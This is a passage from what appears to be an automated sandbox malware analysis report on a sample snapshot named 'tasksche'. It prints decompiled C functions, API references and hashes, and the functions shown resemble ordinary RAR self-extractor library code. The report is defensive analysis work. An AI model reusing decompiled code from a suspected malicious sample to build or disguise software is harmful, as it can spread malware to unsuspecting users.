						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

.rar, xrefs: 0040A8B8
rar, xrefs: 0040A906
exe, xrefs: 0040A8E8
sfx, xrefs: 0040A8F7

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
